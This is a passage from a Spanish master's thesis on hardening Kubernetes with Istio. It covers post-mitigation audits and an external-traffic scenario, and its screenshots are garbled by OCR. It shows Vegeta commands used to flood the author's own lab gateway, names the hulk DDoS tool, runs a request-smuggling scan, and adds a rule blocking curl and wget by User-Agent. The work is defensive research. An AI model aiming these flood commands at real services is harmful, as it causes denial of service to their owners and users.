Acceso a recursos por falta de AuthN y Authz

Como se ha mencionado anteriormente, es de gran importancia aplicar politicas de RBAC a
nivel de capa L7 en Istio complementaria a las politicas de red nativas de Kubernetes para
implantar una defensa en profundidad [371].

El primer paso es habilitar la autenticacién (AuthN) del usuario final mediante JWT. Una vez
aplicados los cambios, la comunicacion no seria posible si el usuario no ha sido autenticado
(es decir, proveer un token JWT valido). El siguiente paso seria gestionar la autorizacion
(AuthZ) mediante RBAC, también utilizando JWT como vehiculo. El principio consiste en
otorgar/denegar permisos basado en los campos del JWT identificativo del usuario. Las
instrucciones para tales propésitos se detallan a continuacion.

# navegar a la carpeta con los manifiestos

$ cd
material-adjunto/attack-scenarios/05-insider-threat-without-service-mesh
/istio/

# habilitar la autenticacidén mediante JWT del usuario final
$ kubectl apply -f enduser-authentication-jwt.yml

# habilitar la autorizacion mediante RBAC
$ kubectl apply -f authorization-policy-jwt.yaml

Ataque a la malla de servicios

En este caso fue posible vulnerar Istio, debido a una vulnerabilidad bastante comun
(NCC-GOIST2005-001) en despliegues con configuraciones deficientes. Para remediar y
mitigar problemas de seguridad asociados a la configuracién de Istio, es necesario aplicar
estrategias de hardening para lo cual se recomienda consultar la reciente evaluacién de
seguridad de Istio [471].

Especificamente en este caso, la solucion radica en el uso de imagenes distroless para el
contenedor istio-proxy [472]. Para poner en practica dicha recomendacion, basta con
agregarlo a la configuracién en el comando de instalacion de Istio.

# utilizar imagenes ‘distroless’ para istio-proxy
$ istioctl install \
--set profile=demo \
--set tag=1.11.0-distroless \
--set meshConfig.outboundTrafficPolicy.mode=REGISTRY_ONLY -y



11.3.5.5. Auditoria post-mitigacion

Una vez realizadas las estrategias de remediacion y mitigacion, aplicamos los mismos
controles que en la fase de pre-mitigacion.

Trafico egress no deseado

Al inspeccionar la configuracion de la politica de trafico egress, podemos ver que en efecto
esta restringida en modo REGISTRY_ONLY. El siguiente paso es verificar que en efecto, el
trafico egress del cluster esta funcionando correctamente al permitir solamente el acceso al
recurso worldclockapi.com (ver Eigura 100).

# determinando el modo de la politica de trafico saliente de Istio
$ kubectl get istiooperator installed-state -n istio-system -o
jsonpath="{.spec.meshConfig.outboundTrafficPolicy.mode}"
REGISTRY_ONLY

c -it recommendation-v3-5c¢858b8c9d-kgbdk -- bash

isDayLightSavingsTime":false, "dayOfTheWeek": "Monday", "timeZoneName":"UTC", "currentFileTime":1327

s{http_code}\n"

4# curl www.google.com
bash-4.4# curl www.google.com -5 -0 /dev/null -w "%{http_code}\n"

Figura 100. Trafico de egress correctamente gestionado.

Desplazamiento lateral
Para determinar si el problema fue resuelto correctamente en este caso, se realizar4 una
verificacibn manual para comprobar que el desplazamiento lateral no es posible una vez
aplicadas las correcciones (ver Figura 101):

e customer => recommendation v3: no esta permitido.

e recommendation v3 => preference: no esta permitido.

ryuzakyl@matrix: $ kubectl exec -it customer-694668f65f-c2dml -- bash
- curl recommendation:8686
access deniedbash-4.4#
-4.4# exit

% kubectl exec -it recommendation-v3-5c858b8c9d-jg449 -- bash

$ kubectl exec -it customer-694668f65f-c2dml -- bash

': 18

ix: $ kubectl exec -it preference-v1-56969db6fb-fz8xx -- bash
# curl recommendation:8686
endation v3 2021-88-14721:02+82:00 from 'recommendation-v3-5c858b8c9d-jq449': 19

Figura 101. Proteccidn correcta ante desplazamiento lateral.

Ataque MitM mediante sniffing de trafico

En este caso, un primer paso es verificar el modo en que esta configurada la funcionalidad
MTLS en Istio. Como se puede observar en la Figura 102, la configuracién es correcta el
estar en modo PERMISSIVE en vez de DISABLE.



ryuzakyl@matrix: % kubectl get peerauthentications.security.istio.io -o jsonpath='{.items[@].spec.mtls}

{"mode": "PERMISSIVE") ryuzakyl@matrix:

Figura 102. mTLS configurado correctamente en Istio.

El segundo paso es comprobar que en efecto, el trafico interno del cluster esta cifrado
mediante mTLS. Una inspeccion visual del trafico en Kiali nos permite ver que el trafico esta
correctamente protegido (ver Figura 103). Finalmente, al realizar una inspeccion del trafico
en Wireshark, se puede constatar que todo el trafico esta cifrado (ver Figura 104).
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o
o
T
Y »
| L\ @ mTLS Enabled
\ < —
E ht‘[p Principals:
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Total %Success %Error
087 100,00 000

Figura 103. Comunicacion cifrada (mTLS) mostrada en el diagrama de Kiali.

2. 16.244.1
28 0.501364 - -7 10.244.1.4
29 0.501391 . 1. 10.244.2.7
74 1.541655 AL .2, t 33332 — 8080
75 1.541727 - Bas 5 P4 72 8080 — 33382
76 1.646527 . 2. el - 1285 8680 —~ 33382
77 1.646535 - eI 5 .2, 72 33382 - 8080
156 2.673500 . 1. . L2, 1407 33382 — 8080
Stream 8

256 bits) on interface -, . Find Next

Help Filter Out This Stream Print Save as... ck Close

1: 1, Ack: 1, Len:

Figura 104. Comunicacion cifrada (mTLS) mostrada en Wireshark.

Acceso a recursos por falta de AuthN y AuthZ

En este escenario (ver Figura 105), puede observarse como las configuraciones aplicadas a
Istio en temas de autenticacion (AuthN) y autorizacién (AuthZ) o RBAC , han adicionado una
capa de seguridad enfocada en los usuarios que utilizan las aplicaciones del cluster.



@matrix: $ curl -w " TEWAY_URL/customer -H "Authorization: Bea G_TOKEN"
ication fails
trix: $ curl -w TEWAY_URL/customer -H "Authoriz
access denied
@matrix: $ curl -w " _S$SGATEWAY URL/cu H "Authorization: Beare: $TOKEN"
> preference => recommendation v3 2021-08-17T14:18+82:00 from 'recommendation-v3 58b8c° u/6bj

BAC_TOKEN"

ryuzakyl@matrix:

ryuzakyl@matrix:
es/enduser-authentication-jwt.yml -n 20 istiofiles,authorization-policy-jwt.yaml
ecurity.istio.io/vlbetal" apiVersion: security.istio.io/vlbetal

reguire-jwt
namespace: tutorial

@secure.istio.io"
//aist.qgithubusercontent.com/lordoftheiars/7dad589384612d7a6e18z
8e7b729fb1df25d4dc60bf17dee409aad204/ jwks. json" ryuzakyl@matrix:/

requestPrincipals: ["testing@secure.istio.io/testing@secure.istio.io"]

quest.auth.claims[role]
"customer"]

Figura 105. Implantacién de seguridad adicional en Istio en temas de AuthN y AuthZ.

Ataque a la malla de servicios

El primer paso de la auditoria en este caso consiste en determinar la correctitud de la
configuracion de Istio respecto a las imagenes utilizadas. Como se observa en la Figura
106, eltag 1.11.0-distroless en la configuracion refleja que esta todo correcto.

$ kubectl get cm -n istio-system istio-sidecar-injector -o yaml | grep \"tag\" -B3 -A3 | head
"1 0

-distroless",

"$(HOST IP):8126"

$ kubectl get isticoperator installed-state -n istio-system -o jsonpath='{.spec.tag}’
@matrix: $

Figura 106. El tag utilizado corresponde a una imagen distroless.

El paso anterior no resulta suficiente, por lo que sera necesario comprobar de una manera
manual que no es posible obtener una shell en los contenedores de istio-proxy debido a que
la imagen distroless utilizada no lo permite (ver Figura 107).

bash": executable file not found in $PATH: unk

H $ kubectl exec -it preference-v1-56969db6fb-vmnkz -c istio-proxy -- bash
rnal error occurred: error executing command in container: failed to exec in container: failed to sta "5e7d1b2045dede64c28c2ef38a7cc65dT51f0320b9f78F7F
86c416e”: OCI runtime exec failed: exec failed: container linux.go:38@: starting container process caus "bash": executable file not found in $PATH: unk

H $ kubectl exec -it recommendation-v3-5c858b8c9d-is87a -c istio-proxy -- bash
rnal error occurred: error executing command in container: fai to exec in container: failed to start "676563T7a0fdobObabe8e81ba8cba493583dd7 faf6fdag4s
79c83": OCI runtime exec failed: exec failed: container_linux.go:386: starting container process caused: "bash": executable file not found in $PATH: unk

g |
Figura 107. Proteccidn ante obtencidon de una shell en istio-proxy.

11.3.5.6. Andlisis de los resultados

Como se pudo observar en el apartado anterior, las medidas propuestas y puestas en
practica permitieron la correcta remediacién y mitigacion de todos los vectores de ataques
explotados por el actor malicioso. Es importante resaltar que estas medidas son de caracter
complementario a todos los controles de seguridad nativos a Kubernetes implantados.

Se recomienda, basado en la experiencia del escenario, desplegar una malla de servicios
como Istio como una capa mas de abstraccion en temas de seguridad. Adicionalmente, es
recomendable separar los roles de administrador del cluster (Kubernetes) y administrador
de la malla de servicios (Istio).



11.3.6. Ataque de trafico malicioso externo

11.3.6.1. Contexto y objetivos

Similar a escenarios anteriores, el cluster consta de la capa de arquitectura y la capa de
aplicacion; ambas configuradas correctamente. La instalacion del cluster de KinD en este
caso es simple y una vez creado, se despliegan los servicios de la capa de aplicacion.

# creando el cluster de KinD

$ cd
material-adjunto/attack-scenarios/@6-protect-against-malicious-traffic
$ kind create cluster --name tfm-k8s --config
kind/secured-cluster-config.yaml

# instalando Istio y los Addons (Kiali, Prometheus, etc.)
$ istioctl install \
--set profile=demo -y
$ kubectl apply -f ${ISTIO INSTALL_ FOLDER}/samples/addons/
re-aplicando el manifiesto de Kiali
kubectl apply -f ${ISTIO INSTALL FOLDER}/samples/addons/kiali.yaml

w H

# desplegar el workload utilizado en el escenario

$ kubectl apply -f deployments/httpbin-updated.yaml

$ kubectl apply -f deployments/gateway.yaml

$ kubectl patch svc httpbin -p
"{"spec":{"externalTrafficPolicy":"Local"}}"' -n tutorial

Etapa de explotacion

Un ataque muy comun empleado en la practica es HTTP Flood [473], el cual se basa en
generar una gran cantidad de trafico “genuino” para agotar los recursos del servidor y asi
terminar en un ataque de DDoS. Producto de esta sobrecarga constante, el servidor o la red
dejan de ser accesibles limitando el acceso a clientes reales (ver Figura 108).

Para llevar a cabo este ataque de HTTP Flood podemos utilizar cualquier herramienta para
realizar pruebas de carga a nuestros servicios. En este caso empleamos Vegeta [474] para
realizar el ataque con el propésito de agotar los recursos del servidor como sigue.

# ataque/prueba de carga mediante Vegeta
$ echo "GET http://$GATEWAY_URL/headers" | vegeta attack -duration=15s
-rate=400 | tee results.bin | vegeta report
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Figura 108. Impacto de un ataque HTTP Flood. (Fuente: cloudflare.com)

Como se observa en las (Figura 109 y Figura 110) el consumo de recursos se eleva
facilmente durante un ataque HTTP Flood. Si un atacante real emplea una botnet es muy
probable que termine por inhabilitar la infraestructura.

Otro ataque comunmente utilizado en el contexto de trafico externo malicioso es el ataque
HTTP Smuggling [475]. A pesar de que es relativamente comuln que surjan vulnerabilidades
de este tipo, son bastante complejas de reproducir y no siempre se les puede sacar partido.
Por estas razones y también por ser un tema bastante tratado [476] [477], nho procederemos
a realizar un ataque de este estilo.

Nivel de uso del CPU bajo un "ataque” de
HTTP Flood con Vegeta donde el consumo es

0.20 Consumo de CPU en periodos de carga

promedio

f
=

1729:10 17:29:20 17:29:30 1729140 1729:50 17:30:00 17:30010 173020 17:30:30 1730040 17:30:50 17:31:00 17:31:10 1731020 17:31:30 17:31:40 173150 17:32:00

0.00

{namespace="istio-system"}

Figura 109. Impacto de un ataque DDoS sobre la CPU.
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Figura 110. Impacto de un ataque DDoS sobre la RAM.

11.3.6.2. Impacto en MITRE ATT&CK®

A diferencia de escenarios anteriores, tanto la superficie de ataque como los vectores de
ataque empleados estan desligados de Kubernetes. Estos ataques pueden ser aplicados a
cualquier aplicacién desplegada en la nube.

El primer vector de ataque usado no esta contemplado en la matriz de MITRE ATT&CK®
para Kubernetes, aunque si esta contemplado en una de las técnicas de MITRE [478] para
Initial Access. Por otra parte, las vulnerabilidades de HTTP Smuggling son generalmente
criticas y permiten al atacante burlar controles de seguridad, obtener acceso a datos
sensibles y comprometer a usuarios de la aplicacion (ver Figura 111).

Initial Access Persistence Privilege Defense Credential Discovery Lateral Collection
Escalation Evasion Access movement

Using Cloud Exec into Backdoor Privileged container Clear container List K8S secrets Access the K8S Access cloud Images from a Data destruction
credentials container container log: API Server resources privi
Cqmproml_sed bash/cmd inside Writable hostPath Cluster-admin Delete K8S Mount service Access Kubelet Contail Resource
images in B - . o
oy container mount binding events principal account Hijacking

- . Kubernetes Pod/container ~ Access contai Cluster internal Denial of
Kubeconfig file ~ New container Ene hostPath mount BTy | S letwork mapping s Senvice (DoS)
A . Malicious Applications Access Appli
ineaniy  omen ey Admsson A ey cleteniis i Kubern Frtals in Sensite beta
p Controller proxy configurati oard configuration files
Exposed SSH server u ume
sensitive running inside Metadata APl mounts on the
interfaces containe host
Endpoint Deni
of Service: Malicious
Service Sidecar injection Admission Coiclzlzir;lls
Exhaustion Controller pol 9
Flood
ARP poisoning
and IP spoofing

Figura 111. Impacto del escenario 6 en MITRE ATT&CK®.



11.3.6.3. Auditoria pre-mitigacion

HTTP Flood:

En el ataque de HTTP Flood resulta complejo desarrollar algun tipo de auditoria a nivel de
capa L7 para poder determinar si somos vulnerables, ya que se trata de un trafico “genuino”
gue se mezcla con el de usuarios de la aplicacion.

No obstante, una posible estrategia es realizar pruebas de estrés tanto a la infraestructura
como a la aplicacién para determinar cOmo reacciona nuestro sistema ante dicha carga. A
continuacion, las instrucciones de cémo realizarlo con la herramienta Vegeta.

# prueba de carga mediante Vegeta
$ echo "GET http://$GATEWAY_URL/headers" | vegeta attack -duration=60s
-rate=300 | tee results.bin | vegeta report

Requests [total, rate] 18000, 300.02

Duration [total, attack, wait] 1m1.292898797s, 59.995907878s,
1.296990919s

Latencies [mean, 50, 95, 99, max] 533.672387ms, 583.660261ms,
1.730029604s, 1.831554176s, 1.904116049s

Bytes In [total, mean] 12150000, 675.00
Bytes Out [total, mean] 0, 0.00

Success [ratio] 100.00%

Status Codes [code:count] 200:18000

Error Set:

Es importante observar que en la configuracién actual, el atacante es capaz de hacer tantas
peticiones como quiera, lo cual representa un problema. Otro aspecto a notar es que no
esté restringido el uso de herramientas como Vegeta, curl, wget, etc.

De manera complementaria, es posible utilizar Prometheus + Grafana para monitorear el
estado de nuestra infraestructura ante ataques de DDoS (o pruebas de carga). En la Figura
112 y la Figura 113, se observa el consumo de recursos como CPU y RAM ante un posible
atague DDoS con la herramienta hulk [479].

~ Proxy Resource Usage

Memory

Figura 112. Consumo de CPU/RAM en Istio por un ataque DDoS con hulk.



httpbin service CPU usage -~ httpbin service RAM usage

Figura 113. Consumo de CPU/RAM en los workloads por un ataque DDoS con hulk.

HTTP Smuggler:

En el caso de las vulnerabilidades/ataques de tipo HTTP Smuggler, se pueden utilizar
herramientas como Burp Scan [480] y Smuggler [481] para realizar una auditoria que
detecte esta amenaza. Utilizaremos Smuggler por su facilidad de uso y el hecho de ser una
herramienta open-source. A continuacion un ejemplo de su uso.

# auditoria para detectar amenaza de tipo HTTP Smuggler
$ python3 smuggler.py -m GET -u http://$GATEWAY_URL/headers

/) ||
(- _— _ _ ||
\__ NNz 2 P )
)y bz ech ot i —I |
(/oo N N )
( (|

@defparam vi.1
[+] URL : http://172.18.0.2:30638/headers
[+] Method ¢ GET
[+] Endpoint : /headers
[+] Configfile : default.py
[+] Timeout : 5.0 seconds
[+] Cookies : @ (Appending to the attack)

[nameprefixl] : Checking TECL...
[nameprefix1] : Checking CLTE...
[nameprefix1l] : OK (TECL: ©.00 - 400) (CLTE: ©.00 - 400)

[endspacexn-ff]: Checking TECL...
[endspacexn-ff]: Checking CLTE...
[endspacexn-ff]: OK (TECL: .00 - 400) (CLTE: ©.00 - 400)

Como se mencionaba anteriormente, el escenario no fue disefiado para ser susceptible a la
vulnerabilidad HTTP Smuggler, por lo que la auditoria no encuentra ningun problema.



11.3.6.4. Remediacién y Mitigacion

A pesar de que la superficie de ataque no es considerable, existen muchas estrategias para
realizar ataques de denegacion de servicio a aplicaciones en la nube (HTTP Flood, HTTP
Smuggler, Economic DoS (EDOS), etc.) [482]. Producto de dicho fenémeno, las estrategias
para remediar o mitigar estos ataques son también considerables en nimero. En este
apartado se abordan solo aquellas aplicables a los ataques llevados a cabo y adaptadas al
contexto de Kubernetes e Istio.

Las medidas y controles aplicables para remediar y/o mitigar los ataques descritos, pueden
ser agrupadas como se muestra a continuacion (ver Capitulo 10 para mas detalles):

e Restringir las capacidades de los workloads (KUBE_WRKL_04).

o En el contexto de este escenario, se recomienda utilizar herramientas de
auditoria workloads para hacer cumplir buenas practicas respecto al uso de
recursos (CPU, RAM, etc.).

e Authorization Policies para implantar autenticacion (AuthN) y autorizacién (AuthZ) de
las peticiones en Istio (RNTM_SVCM_04).

o En el contexto de este escenario, se recomienda habilitar la AuthN y AuthZ
de las peticiones. Importante destacar la importancia de una buena politica
de gestion de tokens (JWT) y de uso de RBAC para proteger el cluster.

e Emplear estrategias de observabilidad en tiempo de ejecucion (RNTM_OBSV_03).

o Dichas estrategias permiten al equipo de seguridad reaccionar de una
manera mas eficiente a incidentes de seguridad.

e Aplicar estrategias de proteccion y de control de trafico avanzadas a nivel de
aplicacion (capa L7) para regular el trafico externo malicioso (RNTM_SVCM_02).

o Por una parte, aplicar estrategias de gestion de trafico de Istio (rate limit,
circuit breaking, etc.) para garantizar la fiabilidad y resiliencia de los servicios.

o Empleo de JavaScript Challenges [483] y CAPTCHASs [473] para mitigar
ataques automatizados desde botnets.

o Implantar soluciones avanzadas de control y proteccién de trafico como un
WAF [484].

En lo que concierne a las estrategias de restringir las capacidades de los workloads y la
implantacion de politicas de autenticacion (AuthN) y autorizacion (AuthZ), éstas no seran
tratadas en este apartado, ya que fueron discutidas en escenarios anteriores.

Las estrategias de observabilidad de la infraestructura y de nuestro cluster de Kubernetes
pueden ser puestas en practica mediante los Addons de Istio. En particular, los Addons que
son de utilidad en este escenario son Prometheus, Grafana y Kiali. Este (ltimo no sera
discutido en este caso, ya que anteriormente ha sido empleado en otros escenarios.

Con Prometheus, el equipo de seguridad es capaz de hacer uso de la gran cantidad de
meétricas disponibles por defecto, asi como definir otras personalizadas de utilidad en su
escenario particular. Por otra parte, el componente Alertmanager permite la generacién de
alertas ante la ocurrencia de eventos especificos y se integra con canales de comunicacién
como PagerDuty [485], Slack [486], E-malil, etc.

Por su parte, Grafana permite visualizar en tiempo real métricas obtenidas de herramientas
de monitoreo como Prometheus y Graphite. Cabe destacar que Grafana incluye soporte
integrado para Prometheus, lo cual influye en que sean utilizados en conjunto de manera
regular.

Con estos Addons, el equipo de seguridad puede monitorear métricas relevantes para la
organizacion como el estado de los recursos esenciales (CPU, RAM, disco, etc.), tasas de



transferencia de datos (data transfer), estado de las peticiones HTTP (¢,cuantos 4xx o 5xx?),
entre otros. (ver Figura 114 y Figura 115). Tanto Grafana como Prometheus han sido
abordados en la literatura de manera extensa, por lo que su instalacion y configuracion no
seran tratadas aqui.

vCPU / 1k rps

~ Memory and Data Rates

Memory Usage Bytes transferred / sec

Memory

rce Usage

Memory sk Goroutines

Figura 115. Monitoreo de componentes de Istio mediante Addons (Parte 2).

Respecto a las estrategias avanzadas a nivel de aplicacion (capa L7) para lidiar con trafico
externo malicioso, es importante comentar que existen muchas maneras de hacer frente a
estos ataques.

Una primera estrategia a llevar a cabo es la de frenar un ataque automatizado mediante el
uso de técnicas como JavaScript Challenges y CAPTCHASs para asegurarnos de que los
usuarios que usan nuestra aplicacién no sean bots. Implantar estas técnicas cae en el area
de desarrollo y han sido ampliamente abordadas en la literatura, por lo que no seran
tratadas nuevamente aca.

Otra estrategia de las mencionadas, es utilizar los mecanismos de Istio de gestidn del trafico
para mitigar el trafico malicioso. Especificamente, los mecanismos utilizados se agrupan en
el apartado de resiliencia de la red y pruebas [370]: timeouts, retries, circuit breakers, fault



injection, mirroring, etc. Los mecanismos mencionados son complementarios por lo que solo
se abordaran algunos de ellos.

El primer mecanismo a poner en practica es rate limit (limitar la tasa de peticiones) [487]. El
propésito en este caso es limitar la cantidad de peticiones por unidad de tiempo (ya sea
segundos, minutos, etc.) para evitar el consumo de recursos excesivo y por tanto, un
self-inflicted DoS o un EDOS. Las instrucciones para habilitar el rate limit en este caso se
muestran a continuacion.

# habilitar ‘rate Llimiting’

$ cd
material-adjunto/attack-scenarios/06-protect-against-malicious-traffic/i
stio/

$ kubectl apply -f ratelimit.yaml

Otro mecanismo valido para frenar o ralentizar un ataque de este estilo, es bloquear el
trafico basado en informacion de la capa L7: por ejemplo, los headers de la peticion. Una
manera muy sencilla es restringir el trafico basado en el User-Agent para evitar el uso de
herramientas como curl, wget o el propio Vegeta. Las instrucciones para implantarlo se
detallan a continuacion.

# limitar el uso de herramientas

$ cd
material-adjunto/attack-scenarios/06-protect-against-malicious-traffic/i
stio/

$ kubectl apply -f no-tools.yaml

Respecto al tipo de ataque HTTP Smuggler, son necesarias estrategias mas avanzadas.
Algunos de estos mecanismos genéricos que ayudan a mitigar este tipo de ataques son:
e Deshabilitar la reutilizacion de las conexiones al backend, de modo que cada
peticion sea enviada en una conexion de red diferente.
e Utilizar HTTP/2 para las conexiones al backend, ya que este protocolo evita la
ambigtedad de los limites entre las peticiones.
e Utilizar el mismo servidor web tanto para el frontend como para el backend para
evitar desajustes en los limites entre las peticiones.
e Implantacién de un WAF, preferiblemente con soporte para mitigar ataques basados
en peticiones anémalas.
Los WAF cuentan con medidas de seguridad avanzadas para inspeccionar y bloquear el
trafico no deseado, pero dichas politicas comunmente necesitan ser ajustadas a las
aplicaciones especificas a fin de minimizar el numero de falsos positivos. A pesar de todo,
los WAF protegen a los recursos web de ser explotados y garantizan la seguridad y
disponibilidad de los mismos. Por los aspectos mencionados, la implantacion y
configuracion apropiada de un WAF para el escenario descrito se encuentra fuera del
objetivo de este trabajo.



11.3.6.5. Auditoria post-mitigacion

HTTP Flood:

Analogamente a como se llevo a cabo en la etapa de pre-mitigacion, se aplic6 una prueba
de estrés al sistema con Vegeta. Como se puede observar a continuacién en la salida del
comando, se mejord en conjunto la respuesta del sistema. Por una parte, tanto la latencia
media (533.67ms / 2.23ms = ~239x) como la transferencia media de datos (40.27 / 675.00
= ~16x) se redujeron de manera considerable. Estas mejoras permiten ademas una
reduccién en los costos de infraestructura en la nube, lo cual constituye un paso de avance
para evitar problemas de EDOS.

# prueba de carga mediante Vegeta
$ echo "GET http://$GATEWAY URL/headers" | vegeta attack -duration=60s
-rate=300 | tee results.bin | vegeta report

Requests [total, rate] 18000, 300.02

Duration [total, attack, wait] 59.997670295s, 59.996628521s,
1.041774ms

Latencies [mean, 50, 95, 99, max] 2.234591ms, 1.404131ms, 5.447643ms,
14.180599ms, 110.498415ms

Bytes In [total, mean] 724770, 40.27
Bytes Out [total, mean] 0, 0.00

Success [ratio] 3.39%

Status Codes [code:count] 200:610 429:17390
Error Set:

429 Too Many Requests

Es importante resaltar que los cambios propuestos no generan sobrecarga adicional de
recursos como CPU y RAM, sino que de manera general el consumo se vio reducido (ver
Figura 116 y Figura 117).
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Figura 116. No se observa sobrecarga de RAM/CPU en componentes de Istio.
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Figura 117. No se observa sobrecarga de RAM/CPU en los workloads.

Por otra parte, la medida de proteccion implementada para limitar el uso de herramientas
potencialmente peligrosas (curl, wget, Vegeta, entre otras) evidenci6 dificultar los ataques
(ver Figura 118). Es importante resaltar que restricciones mas efectivas se pueden definir
para estos propdsitos, ya gue la presentada es una prueba de concepto de como es posible
mitigar estos tipos de ataques.

§ curl $GATEWAY URL/headers -w "\n" ticiones con herramientas como curl no estan permitid:

ryuz @mat E $ curl -H "User-Agent: Mozilla/5.8 (X11; Linux x86 64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447
2.77 safari/s37.36" $GATEWAY URL/headers -s -o /dev/null -w "s{http code}\n" = e e Ve AT R FTO s peticione NG
Esn o especificar User-Ag ara que las peticion 1 procesads

$ echo "GET http://$GATEWAY URL/headers" | vegeta attack -duration=5s -rate=l | tee results.bin | vegeta repo

total, rate] 5, 1.25

total, attack, wait] 4.0025891s, 3.9994801395, 3.108961ms
mean, 50, 95, 99, max] 2.532269ms, 2.928151ms, 3.108961ms, 3.108961ms, 3.108961ms -

ticiones

total, mean] 95, 19.00 w‘: itidas a

total, mean] 0, 0.00
ratio] 0.00%
code: count] 403:5

Figura 118. Herramientas de ataque limitadas por control implantado.

HTTP Smuggler:
N/A (en la auditoria pre-mitigacion se verifico que no habia vulnerabilidad de este tipo).

11.3.6.6. Analisis de los resultados

Como se ha podido observar, las medidas propuestas han sido efectivas en la mitigacién de
atagues basados en trafico malicioso desde el exterior. Como se ha comentado con
anterioridad, estos mecanismos de proteccion son complementarios a los controles de
seguridad nativos de Kubernetes y por lo tanto deben ser combinados para implantar una
estrategia de defensa en profundidad.

Al igual que en el escenario anterior, se recomienda desplegar una malla de servicios como
Istio correctamente configurada para remediar y mitigar los problemas vistos en este
escenario. Adicionalmente, se recomienda utilizar estrategias complementarias avanzadas
como los WAF (ya sea nativo de la nube o desplegado en nuestro cluster) para protegernos
de trafico malicioso.

11.4. Andlisis de los resultados de experimentacion

Como se ha podido observar en los escenarios de ataque anteriores, la superficie de ataque
de Kubernetes es considerable, asi como las medidas de remediacién y mitigacién ante
estas amenazas.

Un aspecto a destacar es que las familias de medidas de proteccion para Kubernetes
propuestas en este trabajo mostraron ser efectivas al ser aplicadas en los escenarios de
atague reales propuestos en nuestro disefio experimental. Por otra parte, también fue
posible validar el protocolo de evaluacion propuesto como una metodologia acertada para



determinar la eficacia y el impacto de las medidas de seguridad propuestas en diversos
escenarios de ataque en Kubernetes.

Con el proposito de determinar el alcance y cubrimiento de las medidas de seguridad para
Kubernetes sobre los escenarios de ataque propuestos, se presenta una tabla que ofrece
una vision general de cuales familia de medidas fueron aplicadas (o son aplicables) en qué
escenarios (ver Tabla 29).

Tabla 29. Cubrimiento de las medidas de seguridad sobre los escenarios de ataque

analizados.

F;rglc:lli%ig ) #1 #2 #3 #4 #5 #6 (esc-:-a%t::ios)
KUBE_INFR_01 X 1
KUBE_INFR_02 X 1
KUBE_INFR_03 X 1
KUBE_INFR_04 X 1
KUBE_INFR_05 X 1
KUBE_INFR_06 X 1
KUBE_INFR_07 X 1
KUBE_WRKL_01 X 1
KUBE_WRKL_02 X 1
KUBE_WRKL_03 X 1
KUBE_WRKL_04 X X X 3
KUBE_WRKL_05 X 1
KUBE_WRKL_06 X X 2
KUBE_WRKL_07 X 1
KUBE_WRKL_08 X 1
RNTM_SVCM_01 X 1
RNTM_SVCM_02 X 1
RNTM_SVCM_03 X 1
RNTM_SVCM_04 X X 2
RNTM_SVCM_05 X 1
RNTM_IPS 01 X X 2
RNTM_IPS_02




RNTM_OBSV_01 X 1
RNTM_OBSV_02 X 1
RNTM_OBSV_03 X 1
Total (medidas 1 5 9 5 5 4

aplicadas)

Como se puede apreciar en la tabla anterior, los escenarios vulnerables con una mayor
complejidad (mayor cantidad de vectores de ataque combinados), como por ejemplo el
Escenario 3, requieren un mayor nimero de medidas de seguridad para su remediacién o
mitigacion. Cabe destacar que las medidas de remediacién y mitigacion propuestas en los
escenarios abordados, son exactamente las mismas que se aplicarian en un entorno de
produccién. En algunos de los casos, el esfuerzo para su implantacién es un poco mayor y
requiere de operadores capacitados, pero es recomendable teniendo en cuenta las ventajas
que se obtendrian desde el punto de vista de la seguridad.

Otro aspecto notable es la efectividad en diferentes experimentos de aquellos controles de
seguridad, KUBE_WRKL_*, relacionados con las restricciones asociadas a los workloads
desplegados en el cluster. Esto resulta un aspecto revelador, ya que denota la importancia
de asegurar este tipo de recurso en un cluster de Kubernetes.

Finalmente, la familia de medidas RNTM_IPS_02 (el uso plataformas avanzadas de
proteccién activa), no fue cubierta en este capitulo del disefio experimental, pues no son
plataformas libres y la complejidad de implantar y configurar correctamente las mismas se
escapa de los objetivos del trabajo. No obstante, es relevante mencionar que ante
vulnerabilidades de Oday estas plataformas permitirian la deteccién y/o neutralizacién de
actores maliciosos en tiempo real.



12. Conclusiones y trabajos futuros

En este trabajo se realiz6 una revision bibliografica minuciosa de la literatura asociada al
tema de los mecanismos y buenas practicas de seguridad en Kubernetes. Producto de
dicha revision y posterior analisis, se desarrolld una taxonomia de buenas practicas de
seguridad basada en la categorizacién de estas medidas referidas a la capa de Cluster del
modelo de las 4 C’s (Cloud, Cluster, Container, y Code), al area del mismo a la que estan
destinadas (infraestructura o aplicacion) y al tipo de proteccién que brindan (preventiva o
proactiva).
Adicionalmente, se disefid una metodologia de validacion del nivel de seguridad de un
cluster para evaluar el impacto en la seguridad de las buenas practicas recomendadas en
un cluster de Kubernetes. El protocolo de validacién consta de cinco fases que fueron
aplicadas en varios escenarios de ataque cuidadosamente disefiados para validar dicha
propuesta. Como resultado de la aplicacion del protocolo propuesto, se pudo constatar la
validez y eficacia de las medidas propuestas para mejorar la seguridad en Kubernetes.
El auge de plataformas como Kubernetes ha permitido que otra tecnologia como las mallas
de servicio también se hayan convertido en un componente estandar de las aplicaciones
nativas en la nube. En este trabajo también se realiz6 un estudio de dicha tecnologia y el
impacto que tiene en la seguridad del cluster de Kubernetes.
Los resultados del trabajo mencionados con anterioridad evidencian un uso apropiado de la
metodologia propuesta al inicio del trabajo. Como consecuencia, ha sido posible el alcance
de los objetivos propuestos en la etapa inicial.
El autor del trabajo considera oportuno mencionar algunas consideraciones generales en lo
gue a la seguridad en Kubernetes respecta:

e No confiar en la configuracién por defecto y emplear guias de buenas practicas de

configuracion como los CIS Benchmarks.
e Empleo de mallas de servicios como Istio, pues contribuyen a la seguridad y la
observabilidad del cluster, facilitando el trabajo del equipo de seguridad.

e Es beneficioso aplicar buenos patrones y estrategias de seguridad. Por ejemplo:

o Defensa en profundidad (Defense in Depth): aplicar medidas y controles de
seguridad en multiples niveles para proporcionar redundancia en caso que un
control de seguridad no sea efectivo (CIS Benchmarks, auditorias, buenas
practicas propuestas, etc.).

o Redes de confianza cero (Zero Trust Networks). emplear este modelo de
seguridad para requerir una estricta verificacién de identidad de cualquier
actor o dispositivo sin importar si se encuentran dentro o fuera del perimetro
de la red (mediante politicas de red en Kubernetes, politicas de autorizacion
de lIstio, etc.).

o Principio de privilegio minimo (Principle of Least Privilege): también conocido
como principio de minima autoridad, que recomienda que un actor o médulo
solo debe ser capaz de acceder a la informacién y recursos que son
necesarios para su proposito legitimo (politicas de RBAC apropiadas,
restriccion de las capacidades de los workloads, etc.).

o Defensa de objetivos mdviles (Moving Target Defenses): estrategias para
crear una superficie de ataque en constante evolucién para aumentar la
incertidumbre de los malos actores y dificultar sus ataques (rotar certificados
